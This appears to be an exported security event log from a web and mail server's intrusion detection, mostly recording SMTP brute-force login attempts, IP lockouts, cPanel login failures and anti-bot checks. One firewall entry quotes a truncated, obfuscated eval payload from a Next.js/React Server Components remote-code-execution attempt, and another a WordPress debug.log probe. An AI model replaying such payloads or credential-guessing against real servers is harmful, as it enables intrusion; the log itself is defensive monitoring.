2026-06-17 14:13:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:57744: 535 Incorrect authentication data (set_id=kuh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:13:40 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:13:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1344: 535 Incorrect authentication data (set_id=ingress)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:14:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:14:38 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:14:46 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:14:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9170: 535 Incorrect authentication data (set_id=yamato)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:14:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:14:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:13834: 535 Incorrect authentication data (set_id=portal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:14:52 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:14:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62384: 535 Incorrect authentication data (set_id=agree)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:14:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41758: 535 Incorrect authentication data (set_id=juridic)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:14:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49560: 535 Incorrect authentication data (set_id=admin12345)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:14:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53590: 535 Incorrect authentication data (set_id=test4711)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:15:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35024: 535 Incorrect authentication data (set_id=urgency)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:15:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:15:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39690: 535 Incorrect authentication data (set_id=visitante)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:15:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50018: 535 Incorrect authentication data (set_id=aircraft)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:15:38 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:15:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:15:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:15:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:37458: 535 Incorrect authentication data (set_id=ark)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25970: 535 Incorrect authentication data (set_id=tours)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:15:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:29946: 535 Incorrect authentication data (set_id=yogesh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:15:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 178.197.206.42
country_id: 2658434
description:
178.197.206.42 - - [17/Jun/2026:14:16:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7064470&pdata=https%253A%252F%252Fmacite.tg%252F2023%252F11%252F30%252Fcan-2023-la-fifa-menace-de-suspendre-une-equipe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705776 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2023/11/30/can-2023-la-fifa-menace-de-suspendre-une-equipe/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.9497.1256 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:178.197.206.42


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:16:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:16:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:29698: 535 Incorrect authentication data (set_id=test)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:16:44 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:16:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27794: 535 Incorrect authentication data (set_id=boubi)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:17:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35634: 535 Incorrect authentication data (set_id=saki)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:16:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.232.102
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1910044301 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:16:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:16:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:62798: 535 Incorrect authentication data (set_id=egypt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:16:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: bieredjama.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"data_75f88b4d\":\"48b62923ba7a0f65\",\"_response\":{\"_prefix\":\"var fbn=arguments['\\\\x31'];var js=fbn;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.26.192.125
country_id: 2750405
description:
[2026-06-17 14:17:05 +0000] info [cpaneld] 194.26.192.125 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:16:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43310: 535 Incorrect authentication data (set_id=saki)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:16:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:64218: 535 Incorrect authentication data (set_id=milagros)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:16:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59370: 535 Incorrect authentication data (set_id=arpa)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:17:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:17:48 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:18:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:23396: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:17:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:17:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:9626: 535 Incorrect authentication data (set_id=email)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:17:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4160: 535 Incorrect authentication data (set_id=paper)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:17:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:17:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32806: 535 Incorrect authentication data (set_id=yd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:17:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:19500: 535 Incorrect authentication data (set_id=yih)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:17:52 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:15684: 535 Incorrect authentication data (set_id=england)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:17:58 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:18:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:18:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21654: 535 Incorrect authentication data (set_id=vijay)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:18:46 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:18:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20250: 535 Incorrect authentication data (set_id=mailrelay)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:18:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854546&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781705931 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:18:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:18:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:9264: 535 Incorrect authentication data (set_id=office2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:18:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:18:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:24580: 535 Incorrect authentication data (set_id=seven)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:18:40 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:18:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36532: 535 Incorrect authentication data (set_id=campanhas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:18:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60356: 535 Incorrect authentication data (set_id=pronto)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:19:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:61918: 535 Incorrect authentication data (set_id=socialize)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:19:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:40408: 535 Incorrect authentication data (set_id=rews)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.232.13.185
country_id: 6252001
description:
2026-06-17 14:19:37 dovecot_plain authenticator failed for H=(2ru9cv4xwcuv2ygly1b90) [96.232.13.185]:55249: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:20:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:37674: 535 Incorrect authentication data (set_id=p6)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:19:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:32974: 535 Incorrect authentication data (set_id=projekt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:19:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46278: 535 Incorrect authentication data (set_id=devsite)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:19:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:19:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:21844: 535 Incorrect authentication data (set_id=fiana)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:19:23 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:19:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:48120: 535 Incorrect authentication data (set_id=pg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:19:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:19:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:19:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 96.232.13.185
country_id: 6252001
description:
Jun 17 14:19:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 96.232.13.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:20:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38348: 535 Incorrect authentication data (set_id=t2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:20:48 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:20:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:53916: 535 Incorrect authentication data (set_id=openfire)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 156.38.95.14
country_id: 2363686
domain: sp-eau.tg
description:
IM360 WAF: Bad file extension||RSV:8.18||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||User:doufelg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:20:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63738: 535 Incorrect authentication data (set_id=p6)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:20:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:20:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: modsec
rule: 77350492
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 156.38.95.14
country_id: 2363686
domain: sp-eau.tg
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/debug.log||WPU:||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 14:20:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:53834: 535 Incorrect authentication data (set_id=compta)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:20:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 14:20:51 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:20:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50102: 535 Incorrect authentication data (set_id=united)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:20:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10704: 535 Incorrect authentication data (set_id=cheng)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:20:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 14:21:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:14674: 535 Incorrect authentication data (set_id=ns6)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 14:21:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:53612: 535 Incorrect authentication data (set_id=virt)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:22:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 14:21:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 14:21:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:30364: 535 Incorrect authentication data (set_id=tapit)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 14:21:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 14:21:58 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.159.252.202
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/01/dc85d3cb54e63ea5dbcf5c0520a009ff_L.webp 499w, http:/togodailynews.tg/wp-content/uploads/2026/01/dc85d3cb54e63ea5dbcf5c0520a009ff_L-300x200.webp 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 14:21:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 14:21:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 14:21:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 14:21:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54608: 535 Incorrect authentication data (set_id=rick)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 14:21:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43542: 535 Incorrect authentication data (set_id=renee)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
